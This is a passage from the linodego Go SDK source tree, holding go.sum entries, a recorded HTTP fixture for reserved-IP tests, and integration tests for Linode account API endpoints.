v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20200619180055-7c47624df98f/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= golang.org/x/tools v0.0.0-20210106214847-113979e3529a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= golang.org/x/tools v0.28.0 h1:WuB6qZ4RPCQo5aP3WdKZS7i595EdWqWR8vqJTlwTVK8= golang.org/x/tools v0.28.0/go.mod h1:dcIOrVd3mfQKTgrDVQHqCPMWy6lnhfhtX3hLXYVLfRw= golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= google.golang.org/protobuf v1.33.0 h1:uNO2rsAINq/JlFpSdYEKIZ0uKD/R9cpdv0T+yoGwGmI= google.golang.org/protobuf v1.33.0/go.mod h1:c6P6GXX6sHbq/GpV6MGZEdwhWPcYBgnhAHhKbcUYpos= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk= gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q= gopkg.in/inf.v0 v0.9.1 h1:73M5CoZyi3ZLMOyDlQh031Cx6N9NDJ2Vvfl76EDAgDc= gopkg.in/inf.v0 v0.9.1/go.mod h1:cWUDdTG/fYaXco+Dcufb5Vnc6Gp2YChqWtbxRZE0mXw= gopkg.in/ini.v1 v1.67.0 h1:Dgnx+6+nfE+IfzjUEISNeydPJh9AXNNsWbGP9KzCsOA= gopkg.in/ini.v1 v1.67.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY= gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= k8s.io/api v0.29.4 h1:WEnF/XdxuCxdG3ayHNRR8yH3cI1B/llkWBma6bq4R3w= k8s.io/api v0.29.4/go.mod h1:DetSv0t4FBTcEpfA84NJV3g9a7+rSzlUHk5ADAYHUv0= k8s.io/apimachinery v0.29.4 h1:RaFdJiDmuKs/8cm1M6Dh1Kvyh59YQFDcFuFTSmXes6Q= k8s.io/apimachinery v0.29.4/go.mod h1:i3FJVwhvSp/6n8Fl4K97PJEP8C+MM+aoDq4+ZJBf70Y= k8s.io/client-go v0.29.4 h1:79ytIedxVfyXV8rpH3jCBW0u+un0fxHDwX5F9K8dPR8= k8s.io/client-go v0.29.4/go.mod h1:kC1thZQ4zQWYwldsfI088BbK6RkxK+aF5ebV8y9Q4tk= k8s.io/klog/v2 v2.110.1 h1:U/Af64HJf7FcwMcXyKm2RPM22WZzyR7OSpYj5tg3cL0= k8s.io/klog/v2 v2.110.1/go.mod h1:YGtd1984u+GgbuZ7e08/yBuAfKLSO0+uR1Fhi6ExXjo= k8s.io/kube-openapi v0.0.0-20231010175941-2dd684a91f00 h1:aVUu9fTY98ivBPKR9Y5w/AuzbMm96cd3YHRTU83I780= k8s.io/kube-openapi v0.0.0-20231010175941-2dd684a91f00/go.mod h1:AsvuZPBlUDVuCdzJ87iajxtXuR9oktsTctW/R9wwouA= k8s.io/utils v0.0.0-20230726121419-3b25d923346b h1:sgn3ZU783SCgtaSJjpcVVlRqd6GSnlTLKgpAAttJvpI= k8s.io/utils v0.0.0-20230726121419-3b25d923346b/go.mod h1:OLgZIPagt7ERELqWJFomSt595RzquPNLL48iOWgYOg0= sigs.k8s.io/json v0.0.0-20221116044647-bc3834ca7abd h1:EDPBXCAspyGV4jQlpZSudPeMmr1bNJefnuqLsRAsHZo= sigs.k8s.io/json v0.0.0-20221116044647-bc3834ca7abd/go.mod h1:B8JuhiUyNFVKdsE8h686QcCxMaH6HrOAZj4vswFpcB0= sigs.k8s.io/structured-merge-diff/v4 v4.4.1 h1:150L+0vs/8DA78h1u02ooW1/fFq/Lwr+sGiqlzvrtq4= sigs.k8s.io/structured-merge-diff/v4 v4.4.1/go.mod h1:N8hJocpFajUSSeSJ9bOZ77VzejKZaXsTtZo4/u7Io08= sigs.k8s.io/yaml v1.3.0 h1:a2VclLzOGrwOHDiV8EfBGhvjHvP46CtW5j6POvhYGGo= sigs.k8s.io/yaml v1.3.0/go.mod h1:GeOyir5tyXNByN85N/dRIT9es5UQNerPYEKK56eTBm8= golang-github-linode-linodego-1.47.0/test/integration/000077500000000000000000000000001474652371000227135ustar00rootroot00000000000000TestReservedIPAddresses_GetInstanceIPReservationStatus.yaml000066400000000000000000000401611474652371000363730ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/test/integration--- version: 1 interactions: - request: body: '{"region":"us-east"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips method: POST response: body: '{"address": "69.164.211.224", "gateway": "69.164.211.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "69-164-211-224.ip.linodeusercontent.com", "linode_id": null, "region": "us-east", "vpc_nat_1_1": null, "reserved": true}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "264" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 30 Sep 2024 21:11:18 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"us-east","type":"g6-nanode-1","label":"go-test-ins-reserved-ip-iciv55fz7379","root_pass":"i.L9In8UuA1\\''+xrW8@HG0[hE91\\?29:40@tkUGG\u003ek:.3c63nRR9!jYIc7j.=Nfm","image":"linode/alpine3.17","interfaces":[{"purpose":"public"}],"booted":false,"ipv4":["69.164.211.224"]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 64660675, "label": "go-test-ins-reserved-ip-iciv55fz7379", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["69.164.211.224"], "ipv6": "2600:3c03::f03c:95ff:feb1:6cca/128", "image": "linode/alpine3.17", "region": "us-east", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "b3417256e635b83e03311cd43bf9303dacc5a75d", "has_user_data": false, "placement_group": null, "disk_encryption": "disabled", "lke_cluster_id": null, "capabilities": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 30 Sep 2024 21:11:20 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/64660675/ips method: GET response: body: '{"ipv4": {"public": [{"address": "69.164.211.224", "gateway": "69.164.211.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "69-164-211-224.ip.linodeusercontent.com", "linode_id": 64660675, "region": "us-east", "vpc_nat_1_1": null, "reserved": true}], "private": [], "shared": [], "reserved": [], "vpc": []}, "ipv6": {"slaac": {"address": "2600:3c03::f03c:95ff:feb1:6cca", "gateway": "fe80::1", "subnet_mask": "ffff:ffff:ffff:ffff::", "prefix": 64, "type": "ipv6", "rdns": null, "linode_id": 64660675, "region": "us-east", "public": true}, "link_local": {"address": "fe80::f03c:95ff:feb1:6cca", "gateway": "fe80::1", "subnet_mask": "ffff:ffff:ffff:ffff::", "prefix": 64, "type": "ipv6", "rdns": null, "linode_id": 64660675, "region": "us-east", "public": false}, "global": []}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "817" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 30 Sep 2024 21:11:20 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"us-east","type":"g6-nanode-1","label":"test-instance-ephemeral-ip","root_pass":"*Y3,P,1;B~2r=8G5}s|Pbe8xI\u003e^02uXO0ur964HOd\u003c2{vHsf-^8Utz\u0026ZB64oMxW\u0026"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 64660677, "label": "test-instance-ephemeral-ip", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["45.56.102.65"], "ipv6": "2600:3c03::f03c:95ff:feb1:6c9d/128", "image": null, "region": "us-east", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "f3bbdb58fa73e88a3294e17d587a130138658c53", "has_user_data": false, "placement_group": null, "disk_encryption": "disabled", "lke_cluster_id": null, "capabilities": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "851" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 30 Sep 2024 21:11:20 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/64660677/ips method: GET response: body: '{"ipv4": {"public": [{"address": "45.56.102.65", "gateway": "45.56.102.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "45-56-102-65.ip.linodeusercontent.com", "linode_id": 64660677, "region": "us-east", "vpc_nat_1_1": null, "reserved": false}], "private": [], "shared": [], "reserved": [], "vpc": []}, "ipv6": {"slaac": {"address": "2600:3c03::f03c:95ff:feb1:6c9d", "gateway": "fe80::1", "subnet_mask": "ffff:ffff:ffff:ffff::", "prefix": 64, "type": "ipv6", "rdns": null, "linode_id": 64660677, "region": "us-east", "public": true}, "link_local": {"address": "fe80::f03c:95ff:feb1:6c9d", "gateway": "fe80::1", "subnet_mask": "ffff:ffff:ffff:ffff::", "prefix": 64, "type": "ipv6", "rdns": null, "linode_id": 64660677, "region": "us-east", "public": false}, "global": []}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "813" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 30 Sep 2024 21:11:21 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/64660677 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 30 Sep 2024 21:11:22 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/64660675 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 30 Sep 2024 21:11:25 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips/69.164.211.224 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 30 Sep 2024 21:11:25 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/account_agreements_test.go000066400000000000000000000005651474652371000301550ustar00rootroot00000000000000package integration import ( "context" "testing" ) func TestAccountAgreements_Get(t *testing.T) { client, fixtureTeardown := createTestClient(t, "fixtures/TestAccountAgreements_List") defer fixtureTeardown() _, err := client.GetAccountAgreements(context.Background()) if err != nil { t.Errorf("Error getting agreements, expected struct, got error %v", err) } } golang-github-linode-linodego-1.47.0/test/integration/account_availability_test.go000066400000000000000000000020131474652371000304630ustar00rootroot00000000000000package integration import ( "context" "testing" "github.com/linode/linodego" ) func TestAccountAvailability_List(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestAccountAvailability_List") defer teardown() availabilities, err := client.ListAccountAvailabilities(context.Background(), &linodego.ListOptions{}) if err != nil { t.Errorf("Error getting Account Availabilities, expected struct, got error %v", err) } if len(availabilities) == 0 { t.Errorf("Expected to see account availabilities returned.") } } func TestAccountAvailability_Get(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestAccountAvailability_Get") defer teardown() regionID := "us-east" availability, err := client.GetAccountAvailability(context.Background(), regionID) if err != nil { t.Errorf("Error getting Account Availability, expected struct, got error %v", err) } if availability.Region != regionID { t.Errorf("expected region ID to be %s; got %s", regionID, availability.Region) } } golang-github-linode-linodego-1.47.0/test/integration/account_betas_test.go000066400000000000000000000024461474652371000271210ustar00rootroot00000000000000package integration import ( "context" "testing" "github.com/linode/linodego" ) func TestAccountBetaPrograms(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestAccountBetaPrograms") defer teardown() betas, err := client.ListBetaPrograms(context.Background(), linodego.NewListOptions(1, "")) if len(betas) == 0 { t.Log("No beta program is available during the test.") return } createOpts := linodego.AccountBetaProgramCreateOpts{ID: betas[0].ID} _, err = client.JoinBetaProgram(context.Background(), createOpts) if err != nil { t.Errorf("Error joining a Beta program, expected struct, got error %v", err) } accountBetas, err := client.ListAccountBetaPrograms(context.Background(), &linodego.ListOptions{}) if err != nil { t.Errorf("Error getting Account Beta programs, expected struct, got error %v", err) } if len(accountBetas) == 0 { t.Errorf("Expected to see account beta program returned.") } else { assertDateSet(t, accountBetas[0].Enrolled) betaID := accountBetas[0].ID beta, err := client.GetAccountBetaProgram(context.Background(), betaID) if err != nil { t.Errorf("Error getting an Account Beta program, expected struct, got error %v", err) } if beta.ID != betaID { t.Errorf("expected beta ID to be %s; got %s", betaID, beta.ID) } } } golang-github-linode-linodego-1.47.0/test/integration/account_child_test.go000066400000000000000000000017521474652371000271050ustar00rootroot00000000000000//go:build parent_child package integration import ( "context" "reflect" "testing" "github.com/google/go-cmp/cmp" "github.com/stretchr/testify/require" ) // NOTE: These fixtures are expected to be run under a parent account. func TestAccountChild_basic(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestAccountChild_basic") defer teardown() childAccounts, err := client.ListChildAccounts(context.Background(), nil) require.NoError(t, err) require.Greater( t, len(childAccounts), 0, "number of child accounts should be > 0", ) childAccount, err := client.GetChildAccount(context.Background(), childAccounts[0].EUUID) require.NoError(t, err) require.True( t, reflect.DeepEqual(*childAccount, childAccounts[0]), "child accounts should be equal", cmp.Diff(*childAccount, childAccounts[0]), ) token, err := client.CreateChildAccountToken(context.Background(), childAccount.EUUID) require.NoError(t, err) require.Greater(t, len(token.Token), 0) } golang-github-linode-linodego-1.47.0/test/integration/account_events_test.go000066400000000000000000000025631474652371000273270ustar00rootroot00000000000000package integration import ( "context" "testing" "github.com/linode/linodego" ) func TestAccountEvents_List_smoke(t *testing.T) { client, instance, teardown, err := setupInstance(t, "fixtures/TestAccountEvents_List", true) defer teardown() if err != nil { t.Error(err) } configOpts := linodego.InstanceConfigCreateOptions{ Label: "test-config", } instanceConfig, err := client.CreateInstanceConfig(context.Background(), instance.ID, configOpts) if err != nil { t.Error(err) } f := linodego.Filter{} f.AddField(linodego.Eq, "entity.id", instance.ID) f.AddField(linodego.Eq, "entity.type", "linode") f.AddField(linodego.Eq, "action", "linode_config_create") filter, err := f.MarshalJSON() if err != nil { t.Fatalf("failed to marshal filter: %v", err) } events, err := client.ListEvents(context.Background(), &linodego.ListOptions{Filter: string(filter)}) if err != nil { t.Errorf("Error getting Events, expected struct, got error %v", err) } if len(events) == 0 { t.Errorf("Expected to see at least one event") } else { event := events[0] assertDateSet(t, event.Created) if event.SecondaryEntity == nil { t.Errorf("Expected Secondary Entity to be set") } else if event.SecondaryEntity.Label != instanceConfig.Label { t.Errorf("Expected Secondary Entity label to be '%s', got '%s'", instanceConfig.Label, event.SecondaryEntity.Label) } } } golang-github-linode-linodego-1.47.0/test/integration/account_logins_test.go000066400000000000000000000015071474652371000273130ustar00rootroot00000000000000package integration import ( "context" "testing" ) func TestAccountLogins_List(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestAccountLogins_List") defer teardown() logins, err := client.ListLogins(context.Background(), nil) if err != nil { t.Errorf("Error getting Account Logins, expected struct, got error %v", err) } if len(logins) < 1 { t.Errorf("Expected to see at least one Account Login") } login := logins[0] response, err := client.GetLogin(context.Background(), login.ID) if err != nil { t.Errorf("Failed to get one Account Login: %v", err) } if response.Username != login.Username { t.Fatal("Recieved Account Login Username does not match source") } if response.Status != "successful" && response.Status != "failed" { t.Fatal("Recieved invalid Account Login Status") } } golang-github-linode-linodego-1.47.0/test/integration/account_maintenance_test.go000066400000000000000000000007141474652371000303010ustar00rootroot00000000000000package integration import ( "context" "testing" "github.com/linode/linodego" ) func TestAccountMaintenances_List(t *testing.T) { client, fixtureTeardown := createTestClient(t, "fixtures/TestAccountMaintenances_List") defer fixtureTeardown() listOpts := linodego.NewListOptions(0, "") _, err := client.ListMaintenances(context.Background(), listOpts) if err != nil { t.Errorf("Error listing maintenances, expected array, got error %v", err) } } golang-github-linode-linodego-1.47.0/test/integration/account_notifications_test.go000066400000000000000000000007201474652371000306650ustar00rootroot00000000000000package integration import ( "context" "testing" "github.com/linode/linodego" ) func TestAccountNotifications_List(t *testing.T) { client, fixtureTeardown := createTestClient(t, "fixtures/TestAccountNotifications_List") defer fixtureTeardown() listOpts := linodego.NewListOptions(0, "") _, err := client.ListNotifications(context.Background(), listOpts) if err != nil { t.Errorf("Error listing notifications, expected array, got error %v", err) } } golang-github-linode-linodego-1.47.0/test/integration/account_oauth_client_test.go000066400000000000000000000062661474652371000305050ustar00rootroot00000000000000package integration import ( "context" "testing" "github.com/stretchr/testify/assert" "github.com/linode/linodego" . "github.com/linode/linodego" ) func TestOAuthClient_GetMissing(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestOAuthClient_GetMissing") defer teardown() i, err := client.GetOAuthClient(context.Background(), "does-not-exist") if err == nil { t.Errorf("should have received an error requesting a missing oauthClient, got %v", i) } e, ok := err.(*Error) if !ok { t.Errorf("should have received an Error requesting a missing oauthClient, got %v", e) } if e.Code != 404 { t.Errorf("should have received a 404 Code requesting a missing oauthClient, got %v", e.Code) } } func TestOAuthClient_GetFound(t *testing.T) { createOpts := linodego.OAuthClientCreateOptions{ Public: true, RedirectURI: "https://example.com", Label: "go-client-test", } client, oauthClient, teardown, err := setupOAuthClient(t, createOpts, "fixtures/TestOAuthClient_GetFound") defer teardown() if err != nil { t.Error(err) } i, err := client.GetOAuthClient(context.Background(), oauthClient.ID) if err != nil { t.Errorf("Error getting oauthClient, expected struct, got %v and error %v", i, err) } if i.Label != createOpts.Label { t.Errorf("Expected a specific oauthClient, but got a different one %v", i) } } func TestOAuthClients_List(t *testing.T) { createOpts := linodego.OAuthClientCreateOptions{ Public: true, RedirectURI: "https://example.com", Label: "go-client-test", } client, _, teardown, err := setupOAuthClient(t, createOpts, "fixtures/TestOAuthClients_List") defer teardown() if err != nil { t.Error(err) } i, err := client.ListOAuthClients(context.Background(), nil) if err != nil { t.Errorf("Error listing oauthClients, expected struct, got error %v", err) } if len(i) == 0 { t.Errorf("Expected a list of oauthClients, but got none %v", i) } } func TestOAuthClients_Reset(t *testing.T) { createOpts := linodego.OAuthClientCreateOptions{ Public: true, RedirectURI: "https://example.com", Label: "go-client-test", } client, oauthClient, teardown, err := setupOAuthClient(t, createOpts, "fixtures/TestOAuthClients_Reset") defer teardown() if err != nil { t.Error(err) } oauthClientAfterReset, err := client.ResetOAuthClientSecret(context.Background(), oauthClient.ID) if err != nil { t.Errorf("Error resetting oauthClient secret, expected struct, got error %v", err) } assert.NotEqual(t, oauthClient.Secret, oauthClientAfterReset.Secret, "Secret should have been reset") } func setupOAuthClient(t *testing.T, createOpts linodego.OAuthClientCreateOptions, fixturesYaml string) (*linodego.Client, *linodego.OAuthClient, func(), error) { t.Helper() client, fixtureTeardown := createTestClient(t, fixturesYaml) oauthClient, err := client.CreateOAuthClient(context.Background(), createOpts) if err != nil { t.Errorf("Error creating test OAuthClient: %s", err) } teardown := func() { if err := client.DeleteOAuthClient(context.Background(), oauthClient.ID); err != nil { t.Errorf("Error deleting test OAuthClient: %s", err) } fixtureTeardown() } return client, oauthClient, teardown, err } golang-github-linode-linodego-1.47.0/test/integration/account_payments_test.go000066400000000000000000000033151474652371000276570ustar00rootroot00000000000000package integration import ( "context" "testing" . "github.com/linode/linodego" ) func TestPayment_GetMissing(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestPayment_GetMissing") defer teardown() i, err := client.GetPayment(context.Background(), -1) if err == nil { t.Errorf("should have received an error requesting a missing payment, got %v", i) } e, ok := err.(*Error) if !ok { t.Errorf("should have received an Error requesting a missing payment, got %v", e) } if e.Code != 404 { t.Errorf("should have received a 404 Code requesting a missing payment, got %v", e.Code) } } func TestPayment_GetFound(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestPayment_GetFound") defer teardown() p, err := client.ListPayments(context.Background(), nil) if err != nil { t.Errorf("Error listing payments, expected struct, got error %v", err) } if len(p) == 0 { t.Errorf("Expected a list of payments, but got none %v", p) } client, teardown = createTestClient(t, "fixtures/TestGetPayment_found") defer teardown() i, err := client.GetPayment(context.Background(), p[0].ID) if err != nil { t.Errorf("Error getting payment, expected struct, got %v and error %v", i, err) } if i.ID != p[0].ID { t.Errorf("Expected a specific payment, but got a different one %v", i) } assertDateSet(t, i.Date) } func TestPayments_List(t *testing.T) { client, teardown := createTestClient(t, 